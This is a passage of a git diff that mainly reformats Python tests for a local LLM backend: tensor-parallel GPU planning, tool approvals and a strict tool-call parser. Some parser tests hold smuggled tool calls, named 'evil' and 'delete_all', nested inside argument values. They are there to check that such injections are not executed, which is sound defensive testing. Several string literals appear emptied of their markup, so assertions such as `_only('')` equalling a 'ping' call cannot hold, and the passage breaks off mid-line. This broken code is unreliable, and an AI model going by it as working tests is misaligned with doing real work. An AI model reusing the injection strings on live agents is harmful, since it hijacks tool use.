a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py index 00c7aeac69..36d22b2a48 100644 --- a/studio/backend/tests/test_tensor_parallel.py +++ b/studio/backend/tests/test_tensor_parallel.py @@ -92,7 +92,9 @@ def test_load_request_accepts_tensor_parallel(): def test_load_request_round_trips_json_key(): # The frontend sends the snake_case key verbatim. - req = LoadRequest.model_validate({"model_path": "owner/repo", "tensor_parallel": True}) + req = LoadRequest.model_validate( + {"model_path": "owner/repo", "tensor_parallel": True} + ) assert req.tensor_parallel is True assert req.model_dump()["tensor_parallel"] is True @@ -266,7 +268,9 @@ def test_proportional_tensor_split_is_emitted_in_tensor_mode(): # --tensor-split earlier in the source from the user's per-GPU shares. ts = src.find('"--tensor-split"', gate) nxt_else = src.find("self._tensor_parallel = False") - assert 0 <= gate < ts < nxt_else, "--tensor-split must be emitted under `if tensor_parallel:`" + assert ( + 0 <= gate < ts < nxt_else + ), "--tensor-split must be emitted under `if tensor_parallel:`" assert "tp_tensor_split" in src[gate:nxt_else] @@ -301,7 +305,9 @@ def test_probe_mtp_decode_returns_false_on_crash(monkeypatch): self.status_code = code backend._process = None # liveness check skipped; exercise the HTTP result - monkeypatch.setattr(llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(200), raising = False) + monkeypatch.setattr( + llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(200), raising = False + ) assert backend._probe_mtp_decode(timeout = 1.0) is True def _drop(*a, **k): @@ -310,12 +316,16 @@ def test_probe_mtp_decode_returns_false_on_crash(monkeypatch): monkeypatch.setattr(llama_cpp_module.httpx, "post", _drop, raising = False) assert backend._probe_mtp_decode(timeout = 1.0) is False - monkeypatch.setattr(llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(500), raising = False) + monkeypatch.setattr( + llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(500), raising = False + ) assert backend._probe_mtp_decode(timeout = 1.0) is False # 200 but the server aborted right after (poll() returns an exit code). backend._process = _FakeProcess() - monkeypatch.setattr(llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(200), raising = False) + monkeypatch.setattr( + llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(200), raising = False + ) assert backend._probe_mtp_decode(timeout = 1.0) is False @@ -442,7 +452,9 @@ def test_runtime_recovery_strips_user_mtp_extra_args(monkeypatch): # A user --spec-type draft-mtp in extra_args must be neutralised on the reload # (append a last-wins --spec-default) so MTP can't re-engage and loop. b = _recovery_backend() - b._last_load_kwargs = dict(b._last_load_kwargs, extra_args = ["--spec-type", "draft-mtp"]) + b._last_load_kwargs = dict( + b._last_load_kwargs, extra_args = ["--spec-type", "draft-mtp"] + ) done = threading.Event() captured = {} @@ -691,11 +703,15 @@ def test_fit_context_budget_frac_override_is_tighter(): pool_mib = 24 * 1024 # tight enough that KV capping bites fit_default = backend._fit_context_to_vram(131072, pool_mib, model_size, "f16") - fit_tp = backend._fit_context_to_vram(131072, pool_mib, model_size, "f16", budget_frac = 0.80) + fit_tp = backend._fit_context_to_vram( + 131072, pool_mib, model_size, "f16", budget_frac = 0.80 + ) assert fit_tp < 131072, "expected the context to be capped at this VRAM tier" assert fit_tp <= fit_default, "a tighter budget must not allow MORE context" # Omitting the override must reproduce the default budget exactly. - assert backend._fit_context_to_vram(131072, pool_mib, model_size, "f16") == fit_default + assert ( + backend._fit_context_to_vram(131072, pool_mib, model_size, "f16") == fit_default + ) # ── unsupported-arch load failure -> clean message ─────────────────── @@ -735,7 +751,9 @@ def _plan( mtp = False, ): b = _kv_seeded_backend() - return b, b._plan_tensor_parallel(gpus, int(model_gb * _GB), target, mtp_engaged = mtp) + return b, b._plan_tensor_parallel( + gpus, int(model_gb * _GB), target, mtp_engaged = mtp + ) def _kv_budget_b(model_gb, gpus = _ASYM): @@ -814,7 +832,9 @@ def test_tp_plan_max_available_ctx_reports_native_not_explicit_ctx(): # An explicit small ctx caps effective_ctx but the UI ceiling # (max_available_ctx) must reflect the native/hardware cap, not the request. b = _kv_seeded_backend() - ec, mac, _gi, _ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 8192, max_target_ctx = 131072) + ec, mac, _gi, _ts = b._plan_tensor_parallel( + _ASYM, int(50 * _GB), 8192, max_target_ctx = 131072 + ) _, native_mac, *_ = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) assert ec == 8192 # explicit request honored for the load assert mac == native_mac > ec # ceiling reflects the hardware cap @@ -865,7 +885,9 @@ def test_tp_plan_soft_overhead_reserved_against_budget(): # the replicated context compute, so the real footprint stays within the pool. b = _kv_seeded_backend() soft = 2 * _GB - ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft) + ec, *_r = b._plan_tensor_parallel( + _ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft + ) cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None) assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50) @@ -892,7 +914,10 @@ def test_tp_plan_weighted_split_keeps_small_gpu_within_budget(): # card was placed over its budget; the cc term is what pulls it back. old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi] old_small_placed = split_content_mib * old_adj[1] / sum(old_adj) - assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION + assert ( + old_small_placed + reserve + cc_per_dev + > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION + ) def test_tp_plan_no_kv_metadata_floors_context(): @@ -923,7 +948,9 @@ def test_tp_plan_drops_gpu_below_buffer_reserve(): # split (and gpu_indices reflects only the usable device). b = _kv_seeded_backend() reserve = LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB - ec, mac, gi, ts = b._plan_tensor_parallel([(0, 48000), (1, reserve - 1)], int(8 * _GB), 8192) + ec, mac, gi, ts = b._plan_tensor_parallel( + [(0, 48000), (1, reserve - 1)], int(8 * _GB), 8192 + ) assert gi == [0] assert ts is None @@ -943,7 +970,9 @@ class _RecordingLoader: self.calls: list[tuple] = [] async def __call__(self, tensor_parallel, extra_args): - self.calls.append((tensor_parallel, list(extra_args) if extra_args else extra_args)) + self.calls.append( + (tensor_parallel, list(extra_args) if extra_args else extra_args) + ) if resolve_tensor_parallel(extra_args, tensor_parallel): raise RuntimeError("llama-server failed to start") return True @@ -952,7 +981,9 @@ class _RecordingLoader: def test_tensor_fallback_retries_layer_on_crash(): loader = _RecordingLoader() ok = asyncio.run( - load_with_tensor_fallback(loader, requested_tensor = True, extra_args = None, label = "m") + load_with_tensor_fallback( + loader, requested_tensor = True, extra_args = None, label = "m" + ) ) assert ok is True # tensor first (crashes), then layer split. @@ -967,7 +998,9 @@ def test_tensor_fallback_no_retry_on_success(): return True ok = asyncio.run( - load_with_tensor_fallback(_ok, requested_tensor = True, extra_args = None, label = "m") + load_with_tensor_fallback( + _ok, requested_tensor = True, extra_args = None, label = "m" + ) ) assert ok is True assert calls == [True] # no fallback when the tensor load succeeds @@ -1001,7 +1034,9 @@ def test_tensor_fallback_returns_false_when_both_attempts_fail(): return False ok = asyncio.run( - load_with_tensor_fallback(_always_false, requested_tensor = True, extra_args = None, label = "m") + load_with_tensor_fallback( + _always_false, requested_tensor = True, extra_args = None, label = "m" + ) ) assert ok is False assert calls == [True, False] # tried tensor, then layer split @@ -1044,7 +1079,9 @@ def test_tensor_fallback_strips_split_mode_from_extras_on_retry(extras): # other flags, else tensor is re-enabled and relaunches the crash. loader = _RecordingLoader() ok = asyncio.run( - load_with_tensor_fallback(loader, requested_tensor = False, extra_args = extras, label = "m") + load_with_tensor_fallback( + loader, requested_tensor = False, extra_args = extras, label = "m" + ) ) assert ok is True assert len(loader.calls) == 2 @@ -1109,10 +1146,16 @@ def test_tensor_caps_context_to_total_vram_budget(): assert with_total < without # total cap tightens the chosen context MIB = 1024 * 1024 - reserve = LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB # flat (no vocab dims) + reserve = ( + LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB + ) # flat (no vocab dims) pool_usable = sum(f - (1.0 - _CTX_FIT_VRAM_FRACTION) * totals[i] for i, f in gpus) - foot_total = (model + b._estimate_kv_cache_bytes(with_total, None)) / MIB + len(gpus) * reserve - foot_free = (model + b._estimate_kv_cache_bytes(without, None)) / MIB + len(gpus) * reserve + foot_total = (model + b._estimate_kv_cache_bytes(with_total, None)) / MIB + len( + gpus + ) * reserve + foot_free = (model + b._estimate_kv_cache_bytes(without, None)) / MIB + len( + gpus + ) * reserve assert foot_total <= pool_usable + 2 # fix: fits the total-based budget assert foot_free > pool_usable # old behavior over-spent the cushion @@ -1126,12 +1169,18 @@ def test_tensor_unknown_total_keeps_fraction_cushion(): MIB = 1024 * 1024 reserve = LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB model = int(18 * _GB) - ec_zero, *_ = b._plan_tensor_parallel(gpus, model, 131072, total_by_idx = {0: 0, 1: 0}) + ec_zero, *_ = b._plan_tensor_parallel( + gpus, model, 131072, total_by_idx = {0: 0, 1: 0} + ) ec_none, *_ = b._plan_tensor_parallel(gpus, model, 131072) assert ec_zero == ec_none # total 0 == total absent: both use free*frac pool_free = sum(f for _, f in gpus) - foot = (model + b._estimate_kv_cache_bytes(ec_zero, None)) / MIB + len(gpus) * reserve - assert foot <= pool_free * _CTX_FIT_VRAM_FRACTION + 2 # within free*frac, not raw free + foot = (model + b._estimate_kv_cache_bytes(ec_zero, None)) / MIB + len( + gpus + ) * reserve + assert ( + foot <= pool_free * _CTX_FIT_VRAM_FRACTION + 2 + ) # within free*frac, not raw free def test_tensor_reserve_scales_with_ubatch(): @@ -1181,7 +1230,9 @@ def test_tensor_admission_drops_gpu_below_usable_budget(): b = _kv_seeded_backend() gpus = [(0, 6000), (1, 40000)] totals = {0: 81920, 1: 81920} - _ec, _mac, gi, ts = b._plan_tensor_parallel(gpus, int(8 * _GB), 8192, total_by_idx = totals) + _ec, _mac, gi, ts = b._plan_tensor_parallel( + gpus, int(8 * _GB), 8192, total_by_idx = totals + ) assert gi == [1] and ts is None # GPU 0 excluded on usable budget _ec2, _mac2, gi_raw, _ts2 = b._plan_tensor_parallel(gpus, int(8 * _GB), 8192) assert gi_raw == [0, 1] # raw free would have admitted both @@ -1232,6 +1283,12 @@ def test_load_model_restores_quantized_kv_on_tensor_downgrade(): compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split()) assert "_tensor_dropped_cache_type_kv=cache_type_kv" in compact # captured pre-null # Restore is shared in one closure, called at every tensor->layer downgrade. - assert "cache_type_kv=_tensor_dropped_cache_type_kv" in compact # restored in the closure - assert "def_restore_after_tensor_downgrade():" in compact # one shared restore helper - assert compact.count("_restore_after_tensor_downgrade()") >= 3 # called at each downgrade + assert ( + "cache_type_kv=_tensor_dropped_cache_type_kv" in compact + ) # restored in the closure + assert ( + "def_restore_after_tensor_downgrade():" in compact + ) # one shared restore helper + assert ( + compact.count("_restore_after_tensor_downgrade()") >= 3 + ) # called at each downgrade diff --git a/studio/backend/tests/test_think_prefill_reemit.py b/studio/backend/tests/test_think_prefill_reemit.py index 346399c3b2..07a2df7ae1 100644 --- a/studio/backend/tests/test_think_prefill_reemit.py +++ b/studio/backend/tests/test_think_prefill_reemit.py @@ -162,7 +162,11 @@ def test_native_template_fallback_returns_selected_reasoning_metadata(): def render(tokenizer, msgs, *, tools, **_kw): body = "".join(message["content"] for message in msgs) suffix = "|TOOLS" if tools else "" - return body + suffix if tokenizer.chat_template == "NATIVE <|channel>thought\n" else body + return ( + body + suffix + if tokenizer.chat_template == "NATIVE <|channel>thought\n" + else body + ) result = render_with_native_template_fallback( formatted_prompt = "hi", @@ -185,7 +189,9 @@ def test_native_template_fallback_returns_selected_reasoning_metadata(): def test_cached_native_template_metadata_recovers_reasoning_markers_without_tools(): from types import SimpleNamespace - model_info = {"chat_template_info": {"template": "native <|channel>thought\n"}} + model_info = { + "chat_template_info": {"template": "native <|channel>thought\n"} + } assert detect_reasoning_channel_markers_from_model_info( SimpleNamespace(chat_template = "override has no native markers"), diff --git a/studio/backend/tests/test_tool_approvals.py b/studio/backend/tests/test_tool_approvals.py index af792e652c..9a5af18893 100644 --- a/studio/backend/tests/test_tool_approvals.py +++ b/studio/backend/tests/test_tool_approvals.py @@ -246,7 +246,9 @@ def test_concurrent_distinct_calls_route_their_own_decisions(): for i in range(n): aid = new_approval_id() waiters[aid] = _Waiter(f"s{i}", aid).start() - expected = {aid: ("allow" if i % 2 == 0 else "deny") for i, aid in enumerate(waiters)} + expected = { + aid: ("allow" if i % 2 == 0 else "deny") for i, aid in enumerate(waiters) + } for aid, decision in expected.items(): assert resolve_tool_decision(aid, decision) is True for aid, w in waiters.items(): diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py index 02f63c41a2..b2d3cf7a3b 100644 --- a/studio/backend/tests/test_tool_call_parser_strict.py +++ b/studio/backend/tests/test_tool_call_parser_strict.py @@ -40,7 +40,9 @@ class TestFunctionStyleTrailingText: assert call == {"name": "web_search", "arguments": {"query": "weather london"}} def test_closed_function_with_trailing_whitespace_is_accepted(self): - text = "cats \n\n" + text = ( + "cats \n\n" + ) call = _only(text) assert call == {"name": "web_search", "arguments": {"query": "cats"}} @@ -114,9 +116,15 @@ class TestFunctionStyleTrailingText: def test_closed_zero_param_attribute_call_is_accepted_in_strict_mode(self): # A closed call with no parameters is a valid zero-argument call; strict # mode must not treat the empty parameter list as a truncated call. - assert _only('') == {"name": "ping", "arguments": {}} + assert _only('') == { + "name": "ping", + "arguments": {}, + } # A no-arg call that never closes is still rejected as truncated. - assert parse_tool_calls_from_text('', allow_incomplete = False) == [] + assert ( + parse_tool_calls_from_text('', allow_incomplete = False) + == [] + ) class TestParityWithJsonStyle: @@ -147,7 +155,8 @@ class TestParityWithJsonStyle: class TestGemmaNativeStyle: def test_closed_native_call_with_trailing_prose_is_accepted(self): text = ( - '<|tool_call>call:terminal{command:"ls -la",workdir:"."}' " running it now" + '<|tool_call>call:terminal{command:"ls -la",workdir:"."}' + " running it now" ) calls = parse_tool_calls_from_text(text, allow_incomplete = False) assert len(calls) == 1 @@ -169,19 +178,21 @@ class TestGemmaNativeStyle: calls = parse_tool_calls_from_text(text, allow_incomplete = False) assert len(calls) == 1 assert calls[0]["function"]["name"] == "mcp__srv__create-issue" - assert json.loads(calls[0]["function"]["arguments"]) == {"issue-title": "Bug report"} + assert json.loads(calls[0]["function"]["arguments"]) == { + "issue-title": "Bug report" + } def test_native_template_quotes_preserve_windows_path(self): text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}' calls = parse_tool_calls_from_text(text, allow_incomplete = False) assert len(calls) == 1 - assert json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"} + assert json.loads(calls[0]["function"]["arguments"]) == { + "path": r"C:\Users\wasim\repo" + } def test_bare_unquoted_string_values_are_accepted(self): # Gemma can emit enum/string args unquoted; bare JSON scalars stay typed. - text = ( - "<|tool_call>call:get_weather{location:Tokyo,unit:celsius,days:3,live:true}" - ) + text = "<|tool_call>call:get_weather{location:Tokyo,unit:celsius,days:3,live:true}" calls = parse_tool_calls_from_text(text, allow_incomplete = False) assert len(calls) == 1 assert json.loads(calls[0]["function"]["arguments"]) == { @@ -235,7 +246,9 @@ class TestHealingPathUnaffected: # out of the last parameter and the removal span. from core.tool_healing import parse_tool_calls_from_text as parse_with_spans - text = "cats trailing" + text = ( + "cats trailing" + ) calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True) (call,) = calls assert json.loads(call["function"]["arguments"]) == {"query": "cats"} @@ -295,7 +308,9 @@ class TestEnabledToolNameGate: # Without a gate every ``NAME[ARGS]{...}`` is parsed, as before the gate landed. text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}' assert self._names(parse_tool_calls_from_text(text)) == ["foo", "web_search"] - assert self._names(parse_tool_calls_from_text(text, enabled_tool_names = None)) == [ + assert self._names( + parse_tool_calls_from_text(text, enabled_tool_names = None) + ) == [ "foo", "web_search", ] @@ -389,7 +404,9 @@ class TestMistralArrayHealing: def test_mistral_array_null_arguments_normalized_to_empty_object(self): # ``"arguments": null`` is a no-arg call; it must become {} (as the # path does), not the string "null" that auto-heal turns into {"query":"null"}. - calls = parse_tool_calls_from_text('[TOOL_CALLS][{"name":"get_time","arguments":null}]') + calls = parse_tool_calls_from_text( + '[TOOL_CALLS][{"name":"get_time","arguments":null}]' + ) assert calls[0]["function"]["arguments"] == "{}" @@ -419,7 +436,15 @@ class TestKimiStrict: _SE = "<|tool_calls_section_end|>" def test_full_kimi_call_is_accepted(self): - text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE + self._SE + text = ( + self._SB + + self._KB + + "functions.x:0" + + self._AB + + '{"a":1}' + + self._KE + + self._SE + ) calls = parse_tool_calls_from_text(text, allow_incomplete = False) assert len(calls) == 1 assert calls[0]["function"]["name"] == "x" @@ -443,7 +468,9 @@ class TestParserLinearity: def test_llama3_unterminated_call_arg_is_linear(self): import time - text = '<|python_tag|>upload.call(data="' + "A" * 200_000 # no closing quote/paren + text = ( + '<|python_tag|>upload.call(data="' + "A" * 200_000 + ) # no closing quote/paren t0 = time.perf_counter() parse_tool_calls_from_text(text, allow_incomplete = True) assert time.perf_counter() - t0 < 2.0 @@ -478,7 +505,9 @@ class TestParserLinearity: t0 = time.perf_counter() calls = parse_tool_calls_from_text(text) best = min(best, time.perf_counter() - t0) - assert calls and json.loads(calls[0]["function"]["arguments"]), "nested args dropped" + assert calls and json.loads( + calls[0]["function"]["arguments"] + ), "nested args dropped" return best t200 = best_ms(200) @@ -585,9 +614,15 @@ def test_strip_leading_bare_json_call_drops_complete_call(): from core.inference.tool_call_parser import strip_leading_bare_json_call # A complete Llama-3.2 bare-JSON call is removed; trailing prose is kept. - assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"cats"}}') == "" assert ( - strip_leading_bare_json_call('{"name":"python","parameters":{"code":"x"}} done') == "done" + strip_leading_bare_json_call( + '{"name":"web_search","parameters":{"query":"cats"}}' + ) + == "" + ) + assert ( + strip_leading_bare_json_call('{"name":"python","parameters":{"code":"x"}} done') + == "done" ) @@ -596,7 +631,9 @@ def test_strip_leading_bare_json_call_drops_truncated_call(): # A truncated call (no closing brace) collapses to "" -- nothing recoverable. assert ( - strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"weather in S') + strip_leading_bare_json_call( + '{"name":"web_search","parameters":{"query":"weather in S' + ) == "" ) @@ -606,10 +643,13 @@ def test_strip_leading_bare_json_call_preserves_plain_json_and_prose(): # No "name" key -> plain JSON answer, left untouched. assert ( - strip_leading_bare_json_call('{"result": 42, "ok": true}') == '{"result": 42, "ok": true}' + strip_leading_bare_json_call('{"result": 42, "ok": true}') + == '{"result": 42, "ok": true}' ) # Prose before the brace -> not a leading bare call, untouched. - assert strip_leading_bare_json_call('here is {"name":"x"}') == 'here is {"name":"x"}' + assert ( + strip_leading_bare_json_call('here is {"name":"x"}') == 'here is {"name":"x"}' + ) # Ordinary text untouched. assert strip_leading_bare_json_call("just a sentence.") == "just a sentence." @@ -676,7 +716,9 @@ def test_bare_json_gated_on_enabled_tool_names(): got = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"}) assert [c["function"]["name"] for c in got] == ["web_search"] # No enabled set (None) keeps the name-agnostic behaviour for direct callers. - assert [c["function"]["name"] for c in parse_tool_calls_from_text(alice)] == ["Alice"] + assert [c["function"]["name"] for c in parse_tool_calls_from_text(alice)] == [ + "Alice" + ] # Marker-based forms are NOT gated (an explicit signal is a real call attempt). xml = '{"name":"Alice","arguments":{}}' assert parse_tool_calls_from_text(xml, enabled_tool_names = {"web_search"}) @@ -712,7 +754,10 @@ def test_function_xml_strip_keeps_literal_close_tag_in_param_value(): def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag(): - from core.inference.tool_call_parser import parse_tool_calls_from_text, strip_tool_markup + from core.inference.tool_call_parser import ( + parse_tool_calls_from_text, + strip_tool_markup, + ) # A literal ```` opener inside a parameter value is data, not a call: the scan-based # strip keeps " done" (the old negative-lookahead regex ate the trailing prose). @@ -779,11 +824,18 @@ def test_mistral_single_object_call_is_stripped_for_display(): # The parser accepts the single-object [TOOL_CALLS]{...} shape, so the display # strip must remove it too (asymmetry would leak the raw object). - text = '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail' - assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == ["web_search"] + text = ( + '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail' + ) + assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == [ + "web_search" + ] assert _strip_mistral_closed_calls(text) == " tail" # A literal [TOOL_CALLS] in prose (no following object) is left untouched. - assert _strip_mistral_closed_calls("See the [TOOL_CALLS] docs") == "See the [TOOL_CALLS] docs" + assert ( + _strip_mistral_closed_calls("See the [TOOL_CALLS] docs") + == "See the [TOOL_CALLS] docs" + ) def test_tool_call_parser_declares_future_annotations_for_py39_import(): @@ -791,7 +843,10 @@ def test_tool_call_parser_declares_future_annotations_for_py39_import(): # annotations need ``from __future__ import annotations``; guard that the import stays. from pathlib import Path src = ( - Path(__file__).resolve().parent.parent / "core" / "inference" / "tool_call_parser.py" + Path(__file__).resolve().parent.parent + / "core" + / "inference" + / "tool_call_parser.py" ).read_text() assert "from __future__ import annotations" in src @@ -807,7 +862,9 @@ def test_glm_strip_treats_literal_close_tag_in_arg_value_as_data(): assert strip_tool_markup(text, final = True) == "tail" calls = parse_tool_calls_from_text(text) assert [c["function"]["name"] for c in calls] == ["web_search"] - assert json.loads(calls[0]["function"]["arguments"]) == {"query": "see tag"} + assert json.loads(calls[0]["function"]["arguments"]) == { + "query": "see tag" + } def test_bare_json_function_alias_parses_and_strips_symmetrically(): @@ -826,12 +883,17 @@ def test_bare_json_function_alias_parses_and_strips_symmetrically(): assert strip_leading_bare_json_call(text, enabled) == "" # "name" still takes precedence when both are present; nested aliases are data. - assert _top_level_bare_json_name('{"function":"foo","name":"web_search"}') == "web_search" + assert ( + _top_level_bare_json_name('{"function":"foo","name":"web_search"}') + == "web_search" + ) assert _top_level_bare_json_name('{"function":"web_search"}') == "web_search" assert _top_level_bare_json_name('{"result":{"function":"web_search"}}') is None # A non-enabled function-alias object is ordinary content and is preserved. assert ( - strip_leading_bare_json_call('{"function":"not_a_tool","parameters":{}}', enabled) + strip_leading_bare_json_call( + '{"function":"not_a_tool","parameters":{}}', enabled + ) == '{"function":"not_a_tool","parameters":{}}' ) @@ -847,7 +909,10 @@ class TestMistralOuterOverXmlLiteral: for strict in (True, False): calls = parse_tool_calls_from_text(text, allow_incomplete = not strict) assert [c["function"]["name"] for c in calls] == ["web_search"] - assert "" in json.loads(calls[0]["function"]["arguments"])["query"] + assert ( + "" + in json.loads(calls[0]["function"]["arguments"])["query"] + ) def test_mistral_array_arg_quoting_tool_call_json(self): text = ( @@ -887,13 +952,20 @@ class TestHealerSignalAlignment: healer = StreamToolCallHealer( {"web_search"}, - [{"type": "function", "function": {"name": "web_search", "parameters": {}}}], + [ + { + "type": "function", + "function": {"name": "web_search", "parameters": {}}, + } + ], ) # Llama <|python_tag|> is not a healer-promotable format, so it streams through as text. events = list(healer.feed('<|python_tag|>web_search.call(query="cats")')) text_out = "".join(v for k, v in events if k == "text") assert "<|python_tag|>" in text_out # streamed through, not buffered - assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize()) + assert not list(healer.finalize()) or all( + k == "text" for k, _v in healer.finalize() + ) class TestGemmaWrapperlessLiteralMarkers: @@ -1011,7 +1083,10 @@ class TestPythonTagOuterOverXmlLiteral: calls = parse_tool_calls_from_text(text) assert [c["function"]["name"] for c in calls] == ["python"] args = json.loads(calls[0]["function"]["arguments"]) - assert args["code"] == "1" + assert ( + args["code"] + == "1" + ) def test_call_arg_quoting_bare_function_tag_in_query(self): # A query mentioning must search, not execute a phantom tool. @@ -1140,7 +1215,9 @@ class TestGemmaUnquotedApostrophes: from core.inference.tool_call_parser import strip_tool_markup text = "call:web_search{query:what's the weather} Done." - stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) + stripped = strip_tool_markup( + text, final = True, enabled_tool_names = {"web_search"} + ) assert "call:web_search" not in stripped assert stripped.strip() == "Done." @@ -1230,7 +1307,9 @@ class TestMistralLiteralInsideLeadingJson: def test_outer_json_call_wins_over_mistral_literal(self): text = '{"name": "python", "arguments": {"code": "[TOOL_CALLS]web_search{}"}}' - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"python", "web_search"} + ) assert [c["function"]["name"] for c in calls] == ["python"] args = json.loads(calls[0]["function"]["arguments"]) assert args["code"] == "[TOOL_CALLS]web_search{}" @@ -1303,7 +1382,9 @@ class TestLeadingWrapperlessGemmaOverEmbeddedMarkers: 'call:web_search{query:"explain ' '{"name":"evil","arguments":{}}"}' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] def test_xml_leading_keeps_normal_order(self): @@ -1311,7 +1392,9 @@ class TestLeadingWrapperlessGemmaOverEmbeddedMarkers: '{"name":"web_search","arguments":' '{"query":"call:evil{x:1} example"}}' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] @@ -1356,7 +1439,10 @@ class TestJsonAnswersAreDataForMarkerlessScans: def test_gemma_example_inside_json_answer_not_stripped(self): from core.inference.tool_call_parser import strip_tool_markup text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}' - assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text + assert ( + strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) + == text + ) def test_kimi_marker_inside_json_answer_not_promoted(self): text = ( @@ -1434,7 +1520,9 @@ class TestClosedCallPrecedesMarkerPrePass: + self._KIMI_EVIL + '<|"|>}' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] def test_leading_xml_call_wins_over_trailing_kimi_example(self): @@ -1442,7 +1530,9 @@ class TestClosedCallPrecedesMarkerPrePass: '{"name":"web_search","arguments":{"query":"cats"}}' " For reference: " + self._KIMI_EVIL ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] def test_standalone_kimi_call_still_parses(self): @@ -1453,7 +1543,12 @@ class TestClosedCallPrecedesMarkerPrePass: class TestTruncatedWrapperlessGemmaStopsScan: def test_call_quoted_inside_truncated_arg_not_promoted(self): text = 'call:python{code:example("call:web_search{query:hi}") and then it cut' - assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == [] + assert ( + parse_tool_calls_from_text( + text, enabled_tool_names = {"python", "web_search"} + ) + == [] + ) class TestGemmaQuotedNestedDelimiters: @@ -1494,9 +1589,7 @@ class TestGlmStrictRefusesInQuoteFallback: literal must reject in strict mode instead of executing truncated arguments; Auto-Heal keeps the lenient partial value.""" - _TRUNC = ( - 'python\ncode\nprint("")' - ) + _TRUNC = 'python\ncode\nprint("")' def test_strict_rejects_truncated_in_string_close(self): assert parse_tool_calls_from_text(self._TRUNC, allow_incomplete = False) == [] @@ -1512,7 +1605,9 @@ class TestGemmaGuardCoversPreambles: "Sure, searching now. call:web_search{query:" '"explain {"name":"evil","arguments":{}}"}' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] @@ -1531,14 +1626,21 @@ class TestGlmStrictAcceptsApostrophes: class TestDisabledGemmaCallLiteralsAreData: def test_literal_inside_disabled_call_not_promoted(self): text = 'call:foo{query:"x"}' - assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == [] + assert ( + parse_tool_calls_from_text( + text, enabled_tool_names = {"python", "web_search"} + ) + == [] + ) def test_real_call_after_disabled_example_still_parses(self): text = ( 'call:foo{query:"x"}' " call:web_search{query:hi}" ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"python", "web_search"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] @@ -1560,7 +1662,9 @@ class TestLeadingBareJsonOwnsTurnOverTrailingXml: '{"name":"lookup","parameters":{"q":"first"}} Example: ' '{"name":"delete_all","arguments":{}}' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"lookup", "delete_all"} + ) assert [c["function"]["name"] for c in calls] == ["lookup"], calls assert json.loads(calls[0]["function"]["arguments"]) == {"q": "first"} @@ -1570,7 +1674,9 @@ class TestLeadingBareJsonOwnsTurnOverTrailingXml: '{"name":"lookup","parameters":{"q":"second"}} ' '{"name":"delete_all","arguments":{}}' ) - calls = 